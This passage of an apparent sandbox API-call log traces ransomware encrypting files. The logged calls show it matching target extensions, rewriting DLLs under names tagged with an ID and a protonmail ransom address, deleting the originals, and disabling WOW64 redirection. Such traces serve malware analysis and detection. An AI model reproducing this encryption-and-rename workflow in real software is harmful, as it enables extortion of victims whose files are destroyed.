Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.666] lstrlenW (lpString=".zip") returned 4 [0301.666] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.666] lstrlenW (lpString=".rar") returned 4 [0301.666] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.666] lstrlenW (lpString=".bz2") returned 4 [0301.666] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.666] lstrlenW (lpString=".7z") returned 3 [0301.666] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.666] lstrlenW (lpString=".dbf") returned 4 [0301.666] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.666] lstrlenW (lpString=".1cd") returned 4 [0301.666] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0301.666] lstrlenW (lpString=".jpg") returned 4 [0301.666] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.666] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.666] lstrlenW (lpString="npjp2.dll") returned 9 [0301.666] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.667] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=234560) returned 1 [0301.667] CloseHandle (hObject=0x1098) returned 1 [0301.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0301.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.668] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.668] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0301.781] GetLastError () returned 0x0 [0301.781] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x39440, lpOverlapped=0x0) returned 1 [0301.890] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x39450, lpOverlapped=0x0) returned 1 [0301.900] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.900] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe6, lpOverlapped=0x0) returned 1 [0301.900] SetEndOfFile (hFile=0x10d0) returned 1 [0301.900] CloseHandle (hObject=0x10d0) returned 1 [0301.901] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.901] SetEndOfFile (hFile=0x1098) returned 1 [0301.903] CloseHandle (hObject=0x1098) returned 1 [0301.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.931] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1 [0301.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.931] lstrlenW (lpString=".doc") returned 4 [0301.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.931] lstrlenW (lpString=".docx") returned 5 [0301.931] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0301.931] lstrlenW (lpString=".pdf") returned 4 [0301.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.932] lstrlenW (lpString=".xls") returned 4 [0301.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.932] lstrlenW (lpString=".xlsx") returned 5 [0301.932] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0301.932] lstrlenW (lpString=".ppt") returned 4 [0301.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.932] lstrlenW (lpString=".zip") returned 4 [0301.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.932] lstrlenW (lpString=".rar") returned 4 [0301.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.932] lstrlenW (lpString=".bz2") returned 4 [0301.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.932] lstrlenW (lpString=".7z") returned 3 [0301.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.932] lstrlenW (lpString=".dbf") returned 4 [0301.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.932] lstrlenW (lpString=".1cd") returned 4 [0301.932] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.932] lstrlenW (lpString=".jpg") returned 4 [0301.932] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.933] lstrlenW (lpString=".doc") returned 4 [0301.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.933] lstrlenW (lpString=".docx") returned 5 [0301.933] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0301.933] lstrlenW (lpString=".pdf") returned 4 [0301.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.933] lstrlenW (lpString=".xls") returned 4 [0301.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.933] lstrlenW (lpString=".xlsx") returned 5 [0301.933] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0301.933] lstrlenW (lpString=".ppt") returned 4 [0301.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.933] lstrlenW (lpString=".zip") returned 4 [0301.933] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.933] lstrlenW (lpString=".rar") returned 4 [0301.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.933] lstrlenW (lpString=".bz2") returned 4 [0301.933] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.933] lstrlenW (lpString=".7z") returned 3 [0301.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.933] lstrlenW (lpString=".dbf") returned 4 [0301.933] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.933] lstrlenW (lpString=".1cd") returned 4 [0301.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0301.934] lstrlenW (lpString=".jpg") returned 4 [0301.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.934] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.934] lstrlenW (lpString="resource.dll") returned 12 [0301.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.934] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=15424) returned 1 [0301.934] CloseHandle (hObject=0x10d4) returned 1 [0301.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0301.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.935] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.935] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0301.935] GetLastError () returned 0x0 [0301.935] ReadFile (in: hFile=0x10d4, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x3c40, lpOverlapped=0x0) returned 1 [0302.115] WriteFile (in: hFile=0x1088, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x3c50, lpOverlapped=0x0) returned 1 [0302.116] ReadFile (in: hFile=0x10d4, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.116] WriteFile (in: hFile=0x1088, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.116] SetEndOfFile (hFile=0x1088) returned 1 [0302.116] CloseHandle (hObject=0x1088) returned 1 [0302.116] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.116] SetEndOfFile (hFile=0x10d4) returned 1 [0302.117] CloseHandle (hObject=0x10d4) returned 1 [0302.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0302.621] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1 [0303.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.028] lstrlenW (lpString=".doc") returned 4 [0303.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.028] lstrlenW (lpString=".docx") returned 5 [0303.028] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0303.028] lstrlenW (lpString=".pdf") returned 4 [0303.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.028] lstrlenW (lpString=".xls") returned 4 [0303.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.028] lstrlenW (lpString=".xlsx") returned 5 [0303.028] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0303.028] lstrlenW (lpString=".ppt") returned 4 [0303.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.028] lstrlenW (lpString=".zip") returned 4 [0303.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.029] lstrlenW (lpString=".rar") returned 4 [0303.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.029] lstrlenW (lpString=".bz2") returned 4 [0303.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.029] lstrlenW (lpString=".7z") returned 3 [0303.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.029] lstrlenW (lpString=".dbf") returned 4 [0303.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.029] lstrlenW (lpString=".1cd") returned 4 [0303.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.029] lstrlenW (lpString=".jpg") returned 4 [0303.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.029] lstrlenW (lpString=".doc") returned 4 [0303.029] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.029] lstrlenW (lpString=".docx") returned 5 [0303.029] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0303.029] lstrlenW (lpString=".pdf") returned 4 [0303.029] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.029] lstrlenW (lpString=".xls") returned 4 [0303.029] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.029] lstrlenW (lpString=".xlsx") returned 5 [0303.029] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0303.029] lstrlenW (lpString=".ppt") returned 4 [0303.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.029] lstrlenW (lpString=".zip") returned 4 [0303.030] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.030] lstrlenW (lpString=".rar") returned 4 [0303.030] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.030] lstrlenW (lpString=".bz2") returned 4 [0303.030] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.030] lstrlenW (lpString=".7z") returned 3 [0303.030] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.030] lstrlenW (lpString=".dbf") returned 4 [0303.030] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.030] lstrlenW (lpString=".1cd") returned 4 [0303.030] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0303.030] lstrlenW (lpString=".jpg") returned 4 [0303.030] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.030] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.030] lstrlenW (lpString="jvm.dll") returned 7 [0303.030] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0303.144] GetFileSizeEx (in: hFile=0x10e4, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=8809536) returned 1 [0303.144] CloseHandle (hObject=0x10e4) returned 1 [0303.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0303.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0303.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0303.144] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc64 | out: lpNewFilePointer=0x0) returned 1 [0303.144] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0303.144] ReadFile (in: hFile=0x10e4, lpBuffer=0x3d21058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d21058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0303.457] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0303.457] ReadFile (in: hFile=0x10e4, lpBuffer=0x3d61058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d61058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0303.609] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x333fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0303.609] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0303.609] ReadFile (in: hFile=0x10e4, lpBuffer=0x3da1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3da1058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0303.712] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.712] WriteFile (in: hFile=0x10e4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x333fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fca8*=0xc00fa, lpOverlapped=0x0) returned 1 [0303.824] SetEndOfFile (hFile=0x10e4) returned 1 [0303.824] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40000) returned 0x3ee20a8 Thread: id = 3462 os_tid = 0x277c [0286.046] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x3e30048 [0286.047] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x3e40050 [0286.047] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9c60 [0286.047] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c5518 [0286.047] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9b40 [0286.047] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x4030020 [0286.050] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9be8 [0286.050] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9be8, Size=0x20) returned 0x7bd850 [0286.050] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9c90 [0286.050] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9c90, Size=0x20) returned 0x7bd7b0 [0286.050] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0286.050] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0286.050] Wow64DisableWow64FsRedirection (in: OldValue=0x347ff50 | out: OldValue=0x347ff50*=0x0) returned 1 [0286.050] lstrlenW (lpString="kernel32.dll") returned 12 [0286.050] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0286.050] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0286.051] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd7b0 | out: hHeap=0x730000) returned 1 [0286.051] Sleep (dwMilliseconds=0x64) [0286.329] Sleep (dwMilliseconds=0x64) [0286.758] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0286.758] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0286.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0288.400] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=19136) returned 1 [0288.400] CloseHandle (hObject=0x10d4) returned 1 [0288.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0288.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0288.401] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.401] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0288.401] GetLastError () returned 0x0 [0288.401] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, 